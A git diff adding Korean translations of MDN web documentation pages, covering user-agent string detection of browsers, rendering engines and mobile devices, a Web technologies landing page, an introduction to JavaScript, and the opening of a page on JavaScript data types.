+ <dd>이는 여러분이 원하는 모든 기능이 포함된 최선의 사이트를 만들고 나서 오래된 브라우저들도 지원하게 수정하는 하향식 접근입니다. 점진적 상향 방식보다는 조금 더 어렵기도 하고 덜 효과적이기도 하지만, 몇몇 케이스에서는 유용할 것입니다.</dd>
+ <dt>모바일 장치 감지</dt>
+ <dd>Arguably the most common use and misuse of user agent sniffing is to detect if the device is a mobile device. However, what is failed to be accountable is what they're really after. People use user agent sniffing to detect if the users' device is touch-friendly and has a small screen so they can optimize their website accordingly. While user agent sniffing can sometimes detect these, not all devices are the same. Some mobile devices have big screen sizes, some desktops have a small touchscreen, some people use smart TV's which are an entirely different ballgame altogether, some people can dynamically change the width and height of their screen by flipping their tablet on its side! So, user agent sniffing is definitely not the way to go. But, there are much better alternatives. Use <em>Navigator.maxTouchPoints</em> to detect if the user's device has a touchscreen. Then, default back to checking the user agent screen only <em>if (!("maxTouchPoints" in Navigator)) { /*Code here*/}</em>. Using this information of whether the device has a touchscreen, do not change the entire layout of the website just for touch devices: you will only create more work and maintenance for yourself. Rather, add in touch conveniences such as bigger, more easily clickable buttons (you can do this using CSS by simply increasing the font size). As for the screen size, simply use <em>window.innerWidth</em> and <em>window.addEventListener("resize", function(){ /*refresh screen size dependent things*/ })</em>. What you want to do for screen size is not slash off information on smaller screens. That will only annoy people because it will force them to use the desktop version. Rather, try to have fewer columns of information in a longer page on smaller screens while having more columns with a shorter page on larger screen sizes. This effect can be easily achieved using CSS flexboxes. Next, always make your code dynamic. The user can flip their mobile device on its side, changing the width and height of the page. Never be satisfied with your webpage until you can open up the dev tools side panel and resize the screen while the webpage looks smooth, fluid, and dynamically resized.</dd>
+</dl>
+
+<h2 id="Which_part_of_the_user_agent_contains_the_information_you_are_looking_for">Which part of the user agent contains the information you are looking for</h2>
+
+<p>As there is no uniformity of the different part of the user agent string, this is the tricky part.</p>
+
+<h3 id="브라우저_이름">브라우저 이름</h3>
+
+<p>사람들이 "브라우저 감시(browser detection)"을 원한다고 말할 때, 실제로 대부분 그들은 "렌더링 엔진 탐지(rendering engine detection)"를 원합니다. Do you actually want to detect Firefox, as opposed to SeaMonkey, or Chrome as opposed to Chromium? Or do you actually simply want to see if the browser is using the Gecko or the WebKit rendering engine? If this is what you need, see further down the page.</p>
+
+<p>Most browser set the name and version in the format <em>BrowserName/VersionNumber</em>, with the notable exception of Internet Explorer. But as the name is not the only information in a user agent string that is in that format, you can not discover the name of the browser, you can only check if the name you are looking for. But note that some browsers are lying: Chrome for example reports both as Chrome and Safari. So to detect Safari you have to check for the Safari string and the absence of the Chrome string, Chromium often reports itself as Chrome too or Seamonkey sometimes reports itself as Firefox.</p>
+
+<p>Also pay attention not to use a simple regular expression on the BrowserName, user agents also contain strings outside the Keyword/Value syntax. Safari &amp; Chrome contain the string 'like Gecko', for instance.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col">반드시 포함</th>
+   <th scope="col">반드시 포함하지 않음</th>
+   <th scope="col"></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Firefox</td>
+   <td>Firefox/xyz</td>
+   <td>Seamonkey/xyz</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Seamonkey</td>
+   <td>Seamonkey/xyz</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Chrome</td>
+   <td>Chrome/xyz</td>
+   <td>Chromium/xyz</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Chromium</td>
+   <td>Chromium/xyz</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>Safari/xyz</td>
+   <td>Chrome/xyz or Chromium/xyz</td>
+   <td>Safari gives two version number, one technical in the Safari/xyz token, one user-friendly in a Version/xyz token</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>
+    <p>OPR/xyz <sup>[1]</sup></p>
+
+    <p>Opera/xyz <sup>[2]</sup></p>
+   </td>
+   <td></td>
+   <td>
+    <p><sup>[1]</sup>  Opera 15+ (Blink-based engine) </p>
+
+    <p><sup>[2]</sup> Opera 12- (Presto-based engine)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>; MSIE xyz;</td>
+   <td></td>
+   <td>Internet Explorer doesn't put its name in the <em>BrowserName/VersionNumber</em> format</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Of course, there is absolutely no guarantee that another browser will not hijack some of these things (like Chrome hijacked the Safari string in the past). That's why browser detection using the user agent string is unreliable and should be done only with the check of version number (hijacking of past versions is less likely).</p>
+
+<h3 id="브라우저_버전">브라우저 버전</h3>
+
+<p>The browser version is often, but not always, put in the value part of the <em>BrowserName/VersionNumber</em> token in the User Agent String. This is of course not the case for Internet Explorer (which puts the version number right after the MSIE token), and for Opera after version 10, which has added a Version/<em>VersionNumber</em> token.</p>
+
+<p>Here again, be sure to take the right token for the browser you are looking for, as there is no guarantee that others will contain a valid number.</p>
+
+<h3 id="렌더링_엔진">렌더링 엔진</h3>
+
+<p>As seen earlier, in most cases, looking for the rendering engine is a better way to go. This will help to not exclude lesser known browsers. Browsers sharing a common rendering engine will display a page in the same way: it is often a fair assumption that what will work in one will work in the other.</p>
+
+<p>There are five major rendering engines: Trident, Gecko, Presto, Blink and WebKit. As sniffing the rendering engines names is common, a lot of user agents added other rendering names to trigger detection. It is therefore important to pay attention not to trigger false-positives when detecting the rendering engine.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col">반드시 포함</th>
+   <th scope="col"></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Gecko</td>
+   <td>Gecko/xyz</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>WebKit</td>
+   <td>AppleWebKit/xyz</td>
+   <td>Pay attention, WebKit browsers add a 'like Gecko' string that may trigger false positive for Gecko if the detection is not careful.</td>
+  </tr>
+  <tr>
+   <td>Presto</td>
+   <td>Opera/xyz</td>
+   <td><strong>Note:</strong> Presto is no longer used in Opera browser builds &gt;= version 15 (see 'Blink')</td>
+  </tr>
+  <tr>
+   <td>Trident</td>
+   <td>Trident/xyz</td>
+   <td>Internet Explorer put this token in the <em>comment</em> part of the User Agent String</td>
+  </tr>
+  <tr>
+   <td>Blink</td>
+   <td>Chrome/xyz</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="렌더링_엔진_버전">렌더링 엔진 버전</h2>
+
+<p>Most rendering engine put the version number in the <em>RenderingEngine/VersionNumber</em> token, with the notable exception of Gecko. Gecko puts the Gecko version number in the comment part of the User Agent after the <code>rv:</code> string. From Gecko 14 for the mobile version and Gecko 17 for the desktop version, it also puts this value in the <code>Gecko/version</code> token (previous version put there the build date, then a fixed date called the GeckoTrail).</p>
+
+<h2 id="운영체제">운영체제</h2>
+
+<p>The Operating System is given in most User Agent strings (although not web-focussed platforms like Firefox OS), but the format varies a lot. It is a fixed string between two semi-colons, in the comment part of the User Agent. These strings are specific for each browsers. They indicates the OS, but also often its version and information on the relying hardware (32 or 64 bits, or Intel/PPC for Mac).</p>
+
+<p>Like in all cases, these strings may change in the future, one should use them only in conjunction for the detection of already released browsers. A technological survey must be in place to adapt the script when new browser versions are coming out.</p>
+
+<h3 id="모바일_태블릿_데스크톱">모바일, 태블릿, 데스크톱</h3>
+
+<p>The most common reason to perform user agent sniffing is to determine which type of device the browser runs on. The goal is to serve different HTML to different device types.</p>
+
+<ul>
+ <li>Never assume that a browser or a rendering engine only runs on one type of device. Especially don't make different defaults for different browsers or rendering engines.</li>
+ <li>Never use the OS token to define if a browser is on mobile, tablet or desktop. The OS may run on more than one type of (for example, Android runs on tablets as well as phones).</li>
+</ul>
+
+<p>The following table summarizes the way major browser vendors indicate that their browsers are running on a mobile device:</p>
+
+<table>
+ <caption>Common browsers User Agent strings</caption>
+ <thead>
+  <tr>
+   <th scope="col">브라우저</th>
+   <th scope="col">규칙</th>
+   <th scope="col">예제</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Mozilla (Gecko, Firefox)</td>
+   <td><a href="/en-US/docs/Gecko_user_agent_string_reference"><strong>Mobile</strong> or <strong>Tablet</strong> token</a> in the comment.</td>
+   <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0</td>
+  </tr>
+  <tr>
+   <td>WebKit-based (Android, Safari)</td>
+   <td><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3"><strong>Mobile Safari</strong> token</a> outside the comment.</td>
+   <td>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</td>
+  </tr>
+  <tr>
+   <td>Blink-based (Chromium, Google Chrome, Opera 15+)</td>
+   <td><a href="https://developers.google.com/chrome/mobile/docs/user-agent"><strong>Mobile Safari</strong> token</a> outside the comment</td>
+   <td>Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047</td>
+  </tr>
+  <tr>
+   <td>Presto-based (Opera 12-)</td>
+   <td>
+    <p><a href="http://my.opera.com/community/openweb/idopera/"><strong>Opera Mobi/xyz</strong> token</a> in the comment (Opera 12-)</p>
+   </td>
+   <td>
+    <p>Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>IEMobile/xyz</strong> token in the comment.</td>
+   <td>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>In summary, we recommend looking for the string “Mobi” anywhere in the User Agent to detect a mobile device.</p>
+
+<div class="note">
+<p>If the device is large enough that it's not marked with “Mobi”, you should serve your desktop site (which, as a best practice, should support touch input anyway, as more desktop machines are appearing with touchscreens).</p>
+</div>
diff --git a/files/ko/web/index.html b/files/ko/web/index.html
new file mode 100644
index 0000000000..22a6317a0e
--- /dev/null
+++ b/files/ko/web/index.html
@@ -0,0 +1,109 @@
+---
+title: 개발자를 위한 웹 기술
+slug: Web
+tags:
+  - History
+  - Landing
+  - Web
+  - 웹 개발
+translation_of: Web
+---
+<p class="summary">웹(World Wide Web)의 개방성은 웹사이트나 온라인 애플리케이션을 제작하려는 사람들에게 많은 기회를 제공합니다. 하지만 그 사용 방법을 알아야 웹 기술을 잘 활용할 수 있습니다. 아래의 링크들을 확인하여 다양한 웹 기술을 배워보세요.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="웹_기술">웹 기술</h2>
+
+<h3 id="기본_기술">기본 기술</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML">HTML</a></dt>
+ <dd><strong>HTML(HyperText Markup Language)</strong>은 웹페이지에 내용을 기술하고 정의하는 데 사용합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS">CSS</a></dt>
+ <dd><strong>CSS(Cascading Style Sheets)</strong>는 웹페이지 콘텐츠의 모양이나 표현을 기술하는 데 사용합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP">HTTP</a></dt>
+ <dd><strong><dfn>하이퍼텍스트 전송 규약(Hypertext Transfer Protocol)</dfn></strong><dfn>은 HTML 및 기타 하이퍼미디어 문서를 웹 상에서 전달할 때 사용하는 규칙을 말합니다.</dfn></dd>
+</dl>
+
+<h3 id="스크립트">스크립트</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript">JavaScript</a></dt>
+ <dd><strong>JavaScript(자바스크립트)</strong>는 브라우저에서 실행되는 프로그램 언어입니다. 사용자의 행동에 화면이 반응하는 것과 같은 동적인 기능을 웹페이지나 애플리케이션에 넣기 위해 사용합니다.</dd>
+ <dd><a href="https://developer.mozilla.org/ko/docs/Glossary/Node.js">Node.js</a>를 통해 서버상에서도 JavaScript를 구동할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/Reference/API">Web API</a></dt>
+ <dd><strong>Web API(Application Programming Interfaces)</strong>는 <a href="DOM">DOM</a> 조작, 오디오 및 비디오 재생, 3D 그래픽 구현 등의 작업을 위해 사용합니다.
+ <ul>
+  <li><a href="https://developer.mozilla.org/ko/docs/Web/API" title="Web/API">웹 API 인터페이스 설명집</a> - 웹 개발에 사용하는 모든 객체 유형을 볼 수 있습니다.</li>
+  <li><a href="/ko/docs/WebAPI">WebAPI 페이지</a> - 웹 애플리케이션에 사용할 수 있는 모든 통신 및 하드웨어 접근, 기타 API가 나열되어 있습니다</li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/Web/Events">이벤트 참조</a> - 웹페이지나 애플리케이션에서 발생한 이벤트를 모아놓은 것으로, 관심있는 사건을 추적하거나 그에 반응하는 것을 가능케 합니다.</li>
+ </ul>
+ </dd>
+ <dt><a href="/ko/docs/Web/Web_components">웹 컴포넌트</a></dt>
+ <dd>웹 컴포넌트는 코드를 재사용할 수 있도록 커스텀 엘리먼트(custom elements)를 생성하고, 이를 사용하기 위한 기술을 말합니다. </dd>
+</dl>
+
+<h3 id="그래픽">그래픽</h3>
+
+<dl>
+ <dt><a href="/ko/docs/HTML/Canvas">Canvas</a></dt>
+ <dd>{{HTMLElement("canvas")}}는 자바스크립트로 2D 그래픽 그릴 수 있게 하는 Api 를 지원합니다. </dd>
+ <dt><a href="/ko/docs/SVG">SVG</a></dt>
+ <dd><strong>SVG(Scalable Vector Graphics)</strong>는 일련의 벡터 및 도형을 통해 이미지를 나타냄으로써 이미지가 원래 그려진 크기에 상관 없이 매끄럽게 확대/축소가 가능하도록 합니다.</dd>
+ <dt><a href="/ko/docs/Web/WebGL" title="Web/WebGL">WebGL</a></dt>
+ <dd>WebGL은 OpenGL ES 2.0을 거의 충족하는 API를 도입함으로써 웹에 2D, 3D 그래픽을 제공하여 HTML의 {{HTMLElement("canvas")}} 요소에서 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="오디오_비디오_멀티미디어">오디오, 비디오, 멀티미디어</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Media">웹 미디어 기술</a></dt>
+ <dd>미디어 관련 API 및 그에 필요한 문서 링크 일람.</dd>
+ <dt><a href="/ko/docs/Web/API/Media_Streams_API">미디어 캡처 및 스트림 API</a></dt>
+ <dd>로컬이든 네트워크 경유든 미디어 스트리밍, 녹화, 녹음, 조작을 할 수 있는 API 편람입니다.. 로컬 카메라 및 마이크를 사용하여 비디오, 오디오, 정지 화상을 캡처하는 내용이 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">HTML5 오디오 비디오 사용하기</a></dt>
+ <dd>웹 페이지에 비디오, 오디오를 심고, 재생제어를 하는 방법입니다. </dd>
+ <dt><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>실시간 커뮤니케이션을 위한 WebRTC 표준에 속하는 기술입니다. 브라우저 클라이언트간에(peer to peer) 오디오/비디오 스트리밍, 데이터 공유가 가능합니다 </dd>
+</dl>
+
+<h3 id="기타">기타</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/MathML">MathML</a></dt>
+ <dd><strong>수학 마크업 언어(Mathematical Markup Language)</strong>는 복잡한 수학 방정식 및 구문을 표시할 수 있게 합니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/XSLT">XSLT</a></dt>
+ <dd><strong>Extensible Stylesheet Language Transformations (XSLT)</strong>를 사용하면 XML 문서를 사람이 읽을 수있는 HTML로 변환 할 수 있습니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/XPath">XPath</a></dt>
+ <dd><strong>XPath</strong>를 사용하면 현재 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a>에서 제공하는 것보다 더 강력한 구문을 사용하여 문서에서 DOM 노드를 선택할 수 있습니다.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="학습_영역">학습 영역</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn">웹 개발 학습</a></dt>
+ <dd>초심자가 간단한 웹사이트 코딩을 시작하는 데 필요한 다양한 글이 있습니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/Apps/Progressive">Progressive Web Apps</a></dt>
+ <dd>Progressive 웹 앱은 현대적인 웹 API를 사용하여 전통적인 Progressive 향상 전략과 함께 크로스플랫폼 웹 응용 프로그램을 만듭니다. 이러한 앱은 어디서나 작동하며 기본 앱과 동일한 사용자 환경 이점을 제공하는 몇 가지 기능을 제공합니다. 이 문서 및 가이드 세트는 PWA에 대해 알아야 할 모든 정보를 제공합니다.</dd>
+</dl>
+
+<h2 id="기타_주제">기타 주제</h2>
+
+<dl>
+ <dt><a href="Web/Apps">웹 애플리케이션 개발</a></dt>
+ <dd>모바일, 데스크톱, 파이어폭스 OS 환경의 웹 앱을 개발하기 위한 기술을 설명하는 글들입니다.</dd>
+ <dt><a href="Web/Accessibility">접근성</a></dt>
+ <dd>웹 개발에서 접근성이란 가능한 많은 사람들이 일부 신체적 장애가 있더라도 웹 사이트를 사용할 수 있게 만드는 것을 말합니다. 본 주제에서는 콘텐트를 접근성 있게 개발하는 데 대한 정보를 제공합니다.</dd>
+ <dt><a href="Web/Localization">현지화(L10n)와 국제화(I18n)</a></dt>
+ <dd>웹은 글로벌 커뮤니티입니다!  당신의 사이트나 앱을 사용하길 원하는 모든 사람이 기대하는 언어 및 레이아웃으로 콘텐츠를 제공해야 한다는것을 명심해야 하며 당신의 사이트가 그러한 사이트의 일부인지 확인하세요.</dd>
+ <dt><a href="/ko/docs/Web/Security">보안</a></dt>
+ <dd>웹사이트나 앱의 개인적인 데이터가 악의적인 사람에게 누출되지 않도록 해야 합니다. 이 주제의 글들을 통해 프로젝트의 보안을 강화해보세요.</dd>
+ <dt><a href="/ko/docs/WebAssembly">웹어셈블리</a></dt>
+ <dd>웹어셈블리는 현대 웹브라우저에서 돌릴 수 있는 새로운 형식의 코드입니다. 네이티브에 가까운 성능으로 돌아가며 컴팩트한 바이너리 포맷을 제공하는 저수준 어셈블리 언어로, C/C++ 등과 같은 언어의 컴파일 타겟으로써 그런 언어로 작성된 프로그램을 웹에서 돌릴 수 있게 해줍니다. 또한 자바스크립트와 나란히 돌아가면서, 서로를 보완할 수 있도록 설계되었습니다</dd>
+</dl>
+</div>
+</div>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/Web">전체 보기...</a></span></p>
diff --git a/files/ko/web/javascript/about/index.html b/files/ko/web/javascript/about/index.html
new file mode 100644
index 0000000000..c7ec0f9f28
--- /dev/null
+++ b/files/ko/web/javascript/about/index.html
@@ -0,0 +1,58 @@
+---
+title: JavaScript에 대하여
+slug: Web/JavaScript/About
+tags:
+  - 비기너
+  - 소개
+  - 자바스크립트
+translation_of: Web/JavaScript/About_JavaScript
+---
+<p>{{JsSidebar}}</p>
+
+<h2 id="JavaScript란_무엇인가">JavaScript란 무엇인가?</h2>
+
+<p><strong>JavaScript</strong><sup>®</sup> (줄여서 <strong>JS</strong>)는 일급 함수를 사용하는 가벼운 객체 지향 인터프리터 언어이며 웹페이지의 스크립트 언어로 잘 알려져 있지만, 브라우저가 아닌 환경에서도 많이 사용된다. 프로토타입 기반, 다중 패러다임 스크립트 언어이며, 동적이고 명령어, 객체 지향, 함수 프로그래밍 스타일을 지원한다.</p>
+
+<p>자바스크립트는 클라이언트 측 웹(브라우저)에서 실행 되고, 웹 페이지가 이벤트 발생시 어떻게 작동하는 지 디자인 / 프로그래밍할 수 있다. 자바스크립트는 쉽게 배울 수 있고 강력한 스크립트 언어로 웹 페이지 동작을 제어하는 데 널리 사용된다.</p>
+
+<p>대중적인 오해와 달리, <strong>Javascript는 인터프리트 형태 자바가 아니다. </strong>간단히 말하면, Javascript는 프로토 타입 기반 객체 생성을 지원하는 동적 스크립트 언어이다.  <span style="line-height: 1.5;">기본적인 문법은  언어 학습에 필요한 새로운 개념을 줄이기 위해 Java와 C++의 if문, for와 while문, switch문과 try...catch 구문을 사용하는 언어구조를 사용하며, 그와 같은 (거의 가까운) 동작을 한다. </span></p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">Javascript는 <a class="external" href="http://www.instantweb.com/%7Efoldoc/foldoc.cgi?query=procedural&amp;action=Search">절차지향 (procedural)</a> 언어와  <a class="external" href="http://www.instantweb.com/%7Efoldoc/foldoc.cgi?query=object+oriented&amp;action=Search">객체지향 (object oriented)</a> 언어 두가지 형태로 만들수 있다. 자바스크립트에서 객체는 실시간으로 빈 객체를 오버라이딩하여 메소드와 프로퍼티를 연결하는 (프로그래밍)방식으로 생성된다. <span style="line-height: 1.5;">C++ 및 Java와 같은 컴파일 언어에서 공통적인 구문 클래스 정의와 반대되는 개념이다. 한번 객체가 생성하면, 비슷한 객체를 생성할 때 프로토타입으로 사용할 수 있다.</span></p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">JavaScript의 동적인 성질은, 실행시의 오브젝트 구축, 가변 인수 리스트, 함수 변수, (eval 에 의한)동적 스크립트 작성, (for ... in 에 의한) 오브젝트의 내부참조, 또는 소스코드 복원 (JavaScript 의 프로그램은 함수본체를 소스텍스트에 역컴파일할 수 있다.) 을 포함하고 있다.</p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">자바스크립트 프로그래밍에 대한 더 자세한 설명은 아래의 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/About#JavaScript_%EC%9E%90%EC%9B%90">자바스크립트 리소스</a> 링크를 참조하면 된다.</p>
+
+<h2 id="어떠한_JavaScript_구현이_유용한가">어떠한 JavaScript 구현이 유용한가?</h2>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">Mozilla 프로젝트는 두 가지 자바스크립트 구현을 제공한다. 최초의 Javascript는 Netscape의 Brendan Eich에 의해 만들었다. 이후 ECMA-262 에디션 5 와 최신 버전을 준수하도록 업데이트되었다. <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a> 라는 이름의 엔진은 C/C++로 구현되었다. <a href="https://developer.mozilla.org/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a> 엔진은 주로 Norris Boys(또한 Netscape)가 만들었고 Java로 작성된 Javascript 구현체이다. SpiderMonkey와 마찬가지로 Rhino도 ECMA-262 에디션 5를 준거한다.</p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) 그리고 IonMonkey와 같은 몇가지 주요한 실시간 최적화는 차츰 SpiderMonkey 자바스크립트 엔진에 추가되었다. 자바스크립트 실행 성능 향상을 위한 작업은 지금도 진행 중이다.</p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">위의 구현 이외에도 다음과 같은 다른 인기있는 자바스크립트 엔진이 있다.</p>
+
+<ul>
+ <li style="padding: 0px; margin: 0px 0px 1.7em;">구글의 <a href="https://code.google.com/p/v8/" title="https://code.google.com/p/v8/">V8</a> 은 크롬 브라우저와 최신 버전의 오페라 브라우저에 사용된다. 또 Node.js의 엔진으로 사용된다.</li>
+ <li style="padding: 0px; margin: 0px 0px 1.7em;"><a href="https://www.webkit.org/projects/javascript/index.html" title="https://www.webkit.org/projects/javascript/index.html">JavaScriptCore</a> (SquirrelFish/Nitro) 는 Apple 사파리와 같은 일부 WebKit 브라우저에서 사용된다.</li>
+ <li style="padding: 0px; margin: 0px 0px 1.7em;"><a href="http://my.opera.com/ODIN/blog/carakan-faq" title="http://my.opera.com/ODIN/blog/carakan-faq">Carakan</a> 는 오페라의 예전 버전안에 있다.</li>
+ <li style="padding: 0px; margin: 0px 0px 1.7em;"><a href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29" title="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> 엔진은 Internet Explorer에서 사용된다. (상표권 문제를 피하기 위해 공식적으로 "JScript"라고 불린다.)</li>
+</ul>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">mozilla.org의 각 JavaScript 엔진은, 애플리케이션이 JavaScript를 지원하기 위해 부를 수 있는 공개 API를 공개하고 있다. JavaScript 를 지원하는 가장 일반적인 호스트환경은 웹브라우저이다. 웹 브라우저는 일반적으로 공개 API를 사용하여 <a class="external external-icon" href="http://www.w3.org/DOM/">DOM</a>을 Javascript로 반영하는 <strong>호스트 객체</strong>를 만든다.</p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">JavaScript 의 또 다른 일반적인 애플리케이션은 (웹) 서버사이드 스크립팅 언어이다. 자바스크립트 웹 서버는 HTTP 요청 및 응답 객체를 나타내는 호스트 객체를 공개하며 자바 스크립트 프로그램에 의해 조작되어 웹 페이지를 동적으로 생성 할 수 있다. <a href="http://nodejs.org/">Node.js</a>는 이에 대한 대중적인 예이다.</p>
+
+<h2 id="JavaScript_자원">JavaScript 자원</h2>
+
+<dl style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">
+ <dt style="font-weight: bold; font-style: normal;"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a></dt>
+ <dd style="padding-left: 15px; margin-bottom: 0.5em; margin-left: 0px;">애플리케이션에 임베드하는 방법을 포함하는, C/C++ 엔진(SpiderMonkey)으로 구현된 Mozilla의 JavaScript 구현체에 관한 정보.</dd>
+ <dt style="font-weight: bold; font-style: normal;"><a href="https://developer.mozilla.org/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a></dt>
+ <dd style="padding-left: 15px; margin-bottom: 0.5em; margin-left: 0px;">Java(Rhino)로 작성된 자바스크립트 구현체에 관련 정보.</dd>
+ <dt style="font-weight: bold; font-style: normal;"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Language_Resources" title="en-US/docs/JavaScript_Language_Resources">Language resources</a></dt>
+ <dd style="padding-left: 15px; margin-bottom: 0.5em; margin-left: 0px;">자바스크립트 표준을 출판하기 위한 포인터들.</dd>
+ <dt style="font-weight: bold; font-style: normal;"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript" title="en-US/docs/A_re-introduction_to_JavaScript">A re-introduction to JavaScript</a></dt>
+ <dd style="padding-left: 15px; margin-bottom: 0.5em; margin-left: 0px;"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide" title="en-US/docs/JavaScript/Guide">자바스크립트 가이드</a>와 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">자바스크립트 레퍼런스</a>.</dd>
+</dl>
+
+<p>JavaScript® 는 미국 및 여러 나라의 Oracle 트레이드마크 또는 등록된 트레이드마크입니다.</p>
diff --git a/files/ko/web/javascript/data_structures/index.html b/files/ko/web/javascript/data_structures/index.html
new file mode 100644
index 0000000000..14967ae250
--- /dev/null
+++ b/files/ko/web/javascript/data_structures/index.html
@@ -0,0 +1,221 @@
+---
+title: 자바스크립트의 자료형
+slug: Web/JavaScript/Data_structures
+translation_of: Web/JavaScript/Data_structures
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>모든 프로그래밍 언어는 내장 자료형이 있지만, 종종 이러한 내장 자료형은 언어마다 다르다. 이 문서에서는 자바스크립트의 내장 자료형과, 내장 자료형에서 사용할 수 있는 속성들에 대해 알아본다. 이로써 내장 자료형들로 더 복잡한 자료형을 만드는데 사용할 수 있을 것이다. 가능하다면 다른 언어와도 비교해보자.</p>
+
+<h2 id="동적_타이핑">동적 타이핑</h2>
+
+<p>자바스크립트는 <em>느슨한 타입 (loosely typed)</em> 언어, 혹은 <em>동적 (dynamic)</em> 언어이다. 그 말은, 변수의 타입을 미리 선언할 필요가 없다는 뜻이다. 타입은 프로그램이 처리되는 과정에서 자동으로 파악될 것이다. 또한 그 말은 같은 변수에 여러 타입의 값을 넣을 수 있다는 뜻이다.</p>
+
+<pre class="brush: js notranslate">var foo = 42;    // foo 는 이제 Number 임
+var foo = "bar"; // foo 는 이제 String 임
+var foo = true;  // foo 는 이제 Boolean 임
+</pre>
+
+<h2 id="데이터_타입">데이터 타입</h2>
+
+<p>최신 ECMAScript 표준은 다음과 같은 7개의 자료형을  정의한다.</p>
+
+<ul>
+ <li>{{Glossary("Primitive", "기본 자료형 (Primitive)")}} 인 여섯가지 데이터 타입
+  <ul>
+   <li>{{Glossary("Boolean")}}</li>
+   <li>{{Glossary("Null")}}</li>
+   <li>{{Glossary("Undefined")}}</li>
+   <li>{{Glossary("Number")}}</li>
+   <li>{{Glossary("String")}}</li>
+   <li>{{Glossary("Symbol")}} (ECMAScript 6 에 추가됨)</li>
+  </ul>
+ </li>
